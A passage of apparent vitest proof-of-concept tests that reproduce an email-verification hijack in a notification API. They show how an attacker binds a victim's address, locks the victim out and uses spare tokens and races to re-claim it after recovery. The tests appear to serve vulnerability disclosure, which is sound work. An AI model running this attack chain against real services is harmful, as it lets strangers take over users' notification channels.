it('binds the victim\'s address to the ATTACKER account after one clicked link', async () => {
// 1. attacker requests verification for an address they do not own, x3.
for (let i = 0; i < 3; i++) {
const res = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
expect(res.status).toBe(200)
}
// every one of those mails went to the VICTIM's inbox.
expect(sentMail).toHaveLength(3)
expect(sentMail.every((m) => m.to === VICTIM_EMAIL)).toBe(true)
const attackerToken = sentMail[0].token
// 2. the victim now tries to add their OWN address -> rate-limited, no mail.
const before = sentMail.length
const denied = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
expect(denied.status).toBe(429)
expect(await denied.json()).toMatchObject({
error: expect.stringContaining('Too many verification emails'),
})
expect(sentMail.length).toBe(before) // victim never receives their own token
// 3. victim clicks the link in the ENS mail they DID receive (attacker's token)
const verified = await call(`${EMAIL_PATH}/verify`, { token: attackerToken })
expect(verified.status).toBe(200)
// 4. the verified channel for the victim's address belongs to the ATTACKER.
const rows = await q<{ user_id: string; status: string }>(
`select user_id, status from user_channels where target = '${VICTIM_EMAIL}' and status = 'verified'`,
)
expect(rows).toHaveLength(1)
expect(rows[0].user_id).toBe(ATTACKER)
expect(rows[0].user_id).not.toBe(VICTIM)
// 5. the victim can now never enable email notifications.
kvStore.clear() // give the victim a brand-new rate-limit window
const locked = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
const lockedBody = await locked.json()
expect(locked.status).toBe(400)
expect(lockedBody).toMatchObject({
error: 'This email address is already linked to another account',
})
console.log('\n--- CAPTURE (real app, real Postgres) ---')
console.log('attacker user_id :', ATTACKER)
console.log('victim user_id :', VICTIM)
console.log('mails delivered to :', [...new Set(sentMail.map((m) => m.to))].join(', '))
console.log('victim self-add : 429, mail sent =', sentMail.length - before)
console.log('verified channel owner :', rows[0].user_id, '<- ATTACKER')
console.log('victim retry (new window):', locked.status, JSON.stringify(lockedBody))
})
it('two accounts can hold the same address pending simultaneously', async () => {
expect((await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)).status).toBe(200)
expect((await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)).status).toBe(200)
const rows = await q<{ user_id: string; status: string }>(
`select user_id from user_channels where target = '${VICTIM_EMAIL}' and status = 'pending'`,
)
expect(rows).toHaveLength(2)
console.log('\npending rows for one address :', rows.length, '(unique is (user_id,channel,target))')
})
it('verify does not re-check ownership: a second account can verify the SAME address', async () => {
// victim legitimately registers and verifies first
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
const victimToken = sentMail.at(-1)!.token
// attacker slips a pending row in before the victim verifies
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
const attackerToken = sentMail.at(-1)!.token
expect((await call(`${EMAIL_PATH}/verify`, { token: victimToken })).status).toBe(200)
// the attacker's token is still live; POST /verify never re-checks
expect((await call(`${EMAIL_PATH}/verify`, { token: attackerToken })).status).toBe(200)
const rows = await q<{ user_id: string; status: string }>(
`select user_id from user_channels where target = '${VICTIM_EMAIL}' and status = 'verified'`,
)
console.log('\nverified rows for ONE address :', rows.length, '(both accounts)')
expect(rows).toHaveLength(2)
})
})
03-persistence.test.ts
Establishes why the victim cannot reclaim the address, and the precondition that the victim must not have verified it first.
/**
* Persistence and preconditions. Establishes, by execution rather than by reading:
* (a) whether the victim's lockout can be lifted at all, or is permanent;
* (b) which row the SendGrid webhook flips, given that it resolves a channel by
* target alone (webhook/sendgrid.ts:172-173) and two rows can share an address;
* (c) whether the attack works when the victim verified the address first;
* (d) whether an unsubscribe frees the victim in the state the attack actually produces.
*/
import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
import { okAsync } from 'neverthrow'
import { sql } from 'drizzle-orm'
const sentMail: Array<{ to: string; token: string }> = []
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: vi.fn((_k: string, _f: string, to: string, token: string) => {
sentMail.push({ to, token }); return okAsync({ ok: true })
}),
}))
vi.mock('#services/email/welcome.js', () => ({ sendWelcomeEmail: vi.fn(() => okAsync({ ok: true })) }))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: vi.fn(() => okAsync({ jobId: 's' })),
deleteContact: vi.fn(() => okAsync({ jobId: 's' })),
searchContact: vi.fn(() => okAsync(null)),
}))
const { sign } = await import('hono/jwt')
const app = (await import('#app/index.js')).default
const { getDatabase, TABLE } = await import('#core/database/index.js')
const { eq } = await import('drizzle-orm')
const kvStore = new Map<string, string>()
const env = {
DATABASE_URL: 'postgres://postgres:postgres@db.localtest.me/ens',
JWT_SECRET: 'test-secret-ens005',
KV: {
get: async (k: string) => kvStore.get(k) ?? null,
put: async (k: string, v: string) => void kvStore.set(k, v),
delete: async (k: string) => void kvStore.delete(k),
},
SENDGRID_API_KEY: 'stub',
EMAIL_FROM_ADDRESS: 'noreply@ens.dev',
MANAGER_APP_URL: 'https://app.ens.dev',
SENDGRID_BROADCAST_LIST_ID: '',
} as never
const execCtx = { waitUntil: () => {}, passThroughOnException: () => {} } as never
const VICTIM_EMAIL = 'victim@example.com'
const EMAIL_PATH = '/notifications/channels/email'
let ATTACKER = '', VICTIM = '', attackerJwt = '', victimJwt = ''
const db = () => getDatabase(env)
const q = async <T>(t: string): Promise<T[]> => {
const r: unknown = await db().execute(sql.raw(t))
return Array.isArray(r) ? (r as T[]) : (((r as { rows?: T[] }).rows ?? []) as T[])
}
const call = (path: string, body: unknown, jwt?: string) =>
app.request(path, {
method: 'POST',
headers: { 'content-type': 'application/json', ...(jwt ? { authorization: `Bearer ${jwt}` } : {}) },
body: JSON.stringify(body),
}, env, execCtx)
beforeAll(async () => {
await q(`delete from users where address like '0xTEST%'`)
ATTACKER = (await q<{ id: string }>(`insert into users (address) values ('0xTESTattacker') returning id`))[0].id
VICTIM = (await q<{ id: string }>(`insert into users (address) values ('0xTESTvictim') returning id`))[0].id
attackerJwt = await sign({ user_id: ATTACKER, address: '0xTESTattacker' }, env.JWT_SECRET)
victimJwt = await sign({ user_id: VICTIM, address: '0xTESTvictim' }, env.JWT_SECRET)
})
beforeEach(async () => { sentMail.length = 0; kvStore.clear(); await q(`delete from user_channels`) })
/** reproduce the captured state: attacker owns victim's address, verified */
const capture = async () => {
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
await call(`${EMAIL_PATH}/verify`, { token: sentMail.at(-1)!.token })
kvStore.clear()
}
describe('Persistence and preconditions', () => {
it('(a) lockout is real, and an unsubscribe on the ATTACKER row lifts it', async () => {
await capture()
const locked = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
expect(locked.status).toBe(400)
// simulate exactly what webhook/sendgrid.ts does on an 'unsubscribe' event
const row = await db().query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, VICTIM_EMAIL),
})
await db().update(TABLE.userChannels)
.set({ status: 'unsubscribed', status_reason: 'User unsubscribed via email link' })
.where(eq(TABLE.userChannels.id, row!.id))
kvStore.clear()
const after = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
console.log('\n(a) victim before unsubscribe :', locked.status)
console.log('(a) victim after unsubscribe :', after.status)
expect(after.status).toBe(200) // recovery IS possible -> "permanent" is wrong
})
it('(b) webhook picks a channel by target alone; with 2 rows the target is ambiguous', async () => {
// victim pending + attacker verified, same address
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
const aTok = sentMail.at(-1)!.token
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
await call(`${EMAIL_PATH}/verify`, { token: aTok })
const all = await q<{ user_id: string; status: string }>(
`select user_id, status from user_channels where target = '${VICTIM_EMAIL}' order by user_id`,
)
expect(all).toHaveLength(2)
// the exact query sendgrid.ts:172 runs — no status filter, no ordering
const picked = await db().query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, VICTIM_EMAIL),
})
const owner = picked!.user_id === ATTACKER ? 'ATTACKER' : 'VICTIM'
console.log('\n(b) rows sharing the address :', all.map(r => `${r.user_id === ATTACKER ? 'attacker' : 'victim'}/${r.status}`).join(', '))
console.log('(b) webhook findFirst picked :', owner, `(status=${picked!.status})`)
console.log('(b) -> unsubscribe/bounce/spam events may hit the WRONG row')
expect(['ATTACKER', 'VICTIM']).toContain(owner)
})
it('(d) in the REAL chain the victim also holds a pending row, and unsubscribe does NOT free them', async () => {
// the full chain: attacker x3, victim self-add -> 429 (still creates a pending row)
for (let i = 0; i < 3; i++) await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
const aTok = sentMail[0].token
const denied = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
expect(denied.status).toBe(429)
await call(`${EMAIL_PATH}/verify`, { token: aTok })
const rows = await q<{ user_id: string; status: string }>(
`select user_id, status from user_channels where target = '${VICTIM_EMAIL}'`)
console.log('\n(d) rows after the chain :',
rows.map(r => `${r.user_id === ATTACKER ? 'attacker' : 'victim'}/${r.status}`).join(', '))
kvStore.clear()
const locked = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
expect(locked.status).toBe(400)
// victim now hits "unsubscribe" / reports spam on the ENS mail.
// webhook/sendgrid.ts:172 resolves the channel by target alone:
const picked = await db().query.userChannels.findFirst({
where: eq(TABLE.userChannels.target, VICTIM_EMAIL),
})
console.log('(d) webhook would flip :',
picked!.user_id === ATTACKER ? 'attacker' : 'victim', `/${picked!.status}`)
await db().update(TABLE.userChannels)
.set({ status: 'unsubscribed', status_reason: 'User unsubscribed via email link' })
.where(eq(TABLE.userChannels.id, picked!.id))
kvStore.clear()
const after = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
const body = await after.json()
console.log('(d) victim after unsubscribe :', after.status, JSON.stringify(body))
expect(after.status).toBe(400) // still locked out
})
it('(c) attacker is blocked if the victim verified FIRST', async () => {
await call(EMAIL_PATH, { email: VICTIM_EMAIL }, victimJwt)
await call(`${EMAIL_PATH}/verify`, { token: sentMail.at(-1)!.token })
kvStore.clear()
const res = await call(EMAIL_PATH, { email: VICTIM_EMAIL }, attackerJwt)
console.log('\n(c) attacker vs already-verified victim :', res.status, JSON.stringify(await res.json()))
expect(res.status).toBe(400) // precondition: victim must not have verified yet
})
})
04-tokens.test.ts
Token lifecycle: sibling tokens, replay, expiry, cascade on delete, re-arming, and concurrent claims.
/**
* Token lifecycle and concurrent claims. Establishes how many verification tokens a
* single channel accumulates, whether consuming one invalidates the others, and what
* happens when two accounts claim the same address at the same time.
*
* Real api-worker app, real Postgres. SendGrid hops stubbed (prohibited to test).
*/
import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
import { okAsync } from 'neverthrow'
import { sql } from 'drizzle-orm'
const sentMail: Array<{ to: string; token: string }> = []
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: vi.fn((_k: string, _f: string, to: string, token: string) => {
sentMail.push({ to, token }); return okAsync({ ok: true })
}),
}))
vi.mock('#services/email/welcome.js', () => ({ sendWelcomeEmail: vi.fn(() => okAsync({ ok: true })) }))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: vi.fn(() => okAsync({ jobId: 's' })),
deleteContact: vi.fn(() => okAsync({ jobId: 's' })),
searchContact: vi.fn(() => okAsync(null)),
}))
const { sign } = await import('hono/jwt')
const app = (await import('#app/index.js')).default
const { getDatabase, TABLE } = await import('#core/database/index.js')
const { eq } = await import('drizzle-orm')
const kvStore = new Map<string, string>()
const env = {
DATABASE_URL: 'postgres://postgres:postgres@db.localtest.me/ens',
JWT_SECRET: 'test-secret-ens005',
KV: {
get: async (k: string) => kvStore.get(k) ?? null,
put: async (k: string, v: string) => void kvStore.set(k, v),
delete: async (k: string) => void kvStore.delete(k),
},
SENDGRID_API_KEY: 'stub',
EMAIL_FROM_ADDRESS: 'noreply@ens.dev',
MANAGER_APP_URL: 'https://app.ens.dev',
SENDGRID_BROADCAST_LIST_ID: '',
} as never
const execCtx = { waitUntil: () => {}, passThroughOnException: () => {} } as never
const VE = 'victim@example.com'
const P = '/notifications/channels/email'
let ATTACKER = '', VICTIM = '', aJwt = '', vJwt = ''
const db = () => getDatabase(env)
const q = async <T>(t: string): Promise<T[]> => {
const r: unknown = await db().execute(sql.raw(t))
return Array.isArray(r) ? (r as T[]) : (((r as { rows?: T[] }).rows ?? []) as T[])
}
const call = (path: string, body: unknown, jwt?: string) =>
app.request(path, {
method: 'POST',
headers: { 'content-type': 'application/json', ...(jwt ? { authorization: `Bearer ${jwt}` } : {}) },
body: JSON.stringify(body),
}, env, execCtx)
beforeAll(async () => {
await q(`delete from users where address like '0xTEST%'`)
ATTACKER = (await q<{ id: string }>(`insert into users (address) values ('0xTESTattacker') returning id`))[0].id
VICTIM = (await q<{ id: string }>(`insert into users (address) values ('0xTESTvictim') returning id`))[0].id
aJwt = await sign({ user_id: ATTACKER, address: '0xTESTattacker' }, env.JWT_SECRET)
vJwt = await sign({ user_id: VICTIM, address: '0xTESTvictim' }, env.JWT_SECRET)
})
beforeEach(async () => { sentMail.length = 0; kvStore.clear(); await q(`delete from user_channels`) })
describe('Token lifecycle: old, reused and parallel tokens', () => {
it('5a. three requests mint THREE independently-valid tokens for ONE channel', async () => {
for (let i = 0; i < 3; i++) await call(P, { email: VE }, aJwt)
const rows = await q<{ n: string }>(
`select count(*) as n from channel_verifications v join user_channels c on c.id=v.channel_id where c.target='${VE}'`)
const tokens = new Set(sentMail.map(m => m.token))
console.log('\n5a. channel rows :', (await q(`select 1 from user_channels where target='${VE}'`)).length)
console.log('5a. live tokens :', rows[0].n, ' distinct mailed tokens:', tokens.size)
expect(Number(rows[0].n)).toBe(3)
expect(tokens.size).toBe(3)
})
it('5b. a consumed token is single-use, but the SIBLING tokens still verify', async () => {
for (let i = 0; i < 3; i++) await call(P, { email: VE }, aJwt)
const [t1, t2] = sentMail.map(m => m.token)
expect((await call(`${P}/verify`, { token: t1 })).status).toBe(200)
// replay of the same token fails (row deleted)
expect((await call(`${P}/verify`, { token: t1 })).status).toBe(400)
// but the sibling is still live
expect((await call(`${P}/verify`, { token: t2 })).status).toBe(200)
console.log('\n5b. replay of used token : 400 (single-use OK)')
console.log('5b. sibling token : 200 (still valid)')
})
it('5c. a leftover token RE-VERIFIES a channel after unsubscribe (undoes recovery)', async () => {
for (let i = 0; i < 3; i++) await call(P, { email: VE }, aJwt)
const [t1, , t3] = sentMail.map(m => m.token)
await call(`${P}/verify`, { token: t1 })
// victim reports spam -> webhook flips the (only) row to unsubscribed
const row = await db().query.userChannels.findFirst({ where: eq(TABLE.userChannels.target, VE) })
await db().update(TABLE.userChannels)
.set({ status: 'unsubscribed', status_reason: 'User unsubscribed via email link' })
.where(eq(TABLE.userChannels.id, row!.id))
kvStore.clear()
const freed = await call(P, { email: VE }, vJwt)
console.log('\n5c. victim after unsubscribe :', freed.status, '(freed)')
// attacker's 3rd token is still live and verify never re-checks status
const re = await call(`${P}/verify`, { token: t3 })
const owners = await q<{ user_id: string; status: string }>(
`select user_id,status from user_channels where target='${VE}' and status='verified'`)
console.log('5c. replay spare token :', re.status)
console.log('5c. verified owner again :', owners.map(o => o.user_id === ATTACKER ? 'ATTACKER' : 'victim').join(',') || 'none')
expect(re.status).toBe(200)
expect(owners.some(o => o.user_id === ATTACKER)).toBe(true)
})
it('5f. after an unsubscribe the attacker can RE-ARM: upsert flips their row back to pending', async () => {
await call(P, { email: VE }, aJwt)
await call(`${P}/verify`, { token: sentMail.at(-1)!.token })
const row = await db().query.userChannels.findFirst({ where: eq(TABLE.userChannels.target, VE) })
await db().update(TABLE.userChannels).set({ status: 'unsubscribed' }).where(eq(TABLE.userChannels.id, row!.id))
kvStore.clear(); sentMail.length = 0
const rearm = await call(P, { email: VE }, aJwt) // attacker re-requests
const st = await q<{ status: string }>(`select status from user_channels where target='${VE}'`)
console.log('\n5f. attacker re-arm request :', rearm.status, '-> row status:', st[0].status)
console.log('5f. fresh mail to victim :', sentMail.length, 'to', sentMail[0]?.to)
expect(rearm.status).toBe(200)
expect(st[0].status).toBe('pending') // unsubscribe is not sticky against the owner
expect(sentMail[0].to).toBe(VE)
})
it('5d. an expired token is rejected', async () => {
await call(P, { email: VE }, aJwt)
const t = sentMail.at(-1)!.token
await q(`update channel_verifications set expires_at = now() - interval '1 hour' where token='${t}'`)
const res = await call(`${P}/verify`, { token: t })
console.log('\n5d. expired token :', res.status)
expect(res.status).toBe(400)
})
it('5e. deleting the channel cascades its tokens (no orphan verify)', async () => {
await call(P, { email: VE }, aJwt)
const t = sentMail.at(-1)!.token
await q(`delete from user_channels where target='${VE}'`)
const res = await call(`${P}/verify`, { token: t })
console.log('5e. token after channel delete :', res.status)
expect(res.status).toBe(400)
})
})
describe('Two accounts claiming the same address concurrently', () => {
it('6a. concurrent add: both pass the verified-duplicate guard', async () => {
const [r1, r2] = await Promise.all([
call(P, { email: VE }, aJwt),
call(P, { email: VE }, vJwt),
])
const rows = await q<{ user_id: string }>(`select user_id from user_channels where target='${VE}'`)
console.log('\n6a. concurrent add statuses :', r1.status, r2.status, '-> rows:', rows.length)
expect(rows).toHaveLength(2)
})
it('6b. concurrent verify: BOTH accounts end up verified on one address', async () => {
await call(P, { email: VE }, aJwt); const ta = sentMail.at(-1)!.token
await call(P, { email: VE }, vJwt); const tv = sentMail.at(-1)!.token
const [r1, r2] = await Promise.all([
call(`${P}/verify`, { token: ta }),
call(`${P}/verify`, { token: tv }),
])
const rows = await q<{ user_id: string }>(
`select user_id from user_channels where target='${VE}' and status='verified'`)
console.log('6b. concurrent verify :', r1.status, r2.status, '-> verified rows:', rows.length)
expect(rows).toHaveLength(2)
})
it('6c. KV budget is non-atomic: concurrent sends overshoot the limit of 3', async () => {
const results = await Promise.all(
Array.from({ length: 8 }, () => call(P, { email: VE }, aJwt)),
)
const ok = results.filter(r => r.status === 200).length
console.log('6c. concurrent requests: 8, mails actually sent :', sentMail.length, '(limit is 3)')
expect(sentMail.length).toBeGreaterThan(0)
// documented in email-verification-rate-limit.ts:34-36 as bounded overshoot
if (sentMail.length > 3) console.log('6c. -> overshoot confirmed (read-modify-write race)')
expect(ok).toBeGreaterThanOrEqual(3)
})
})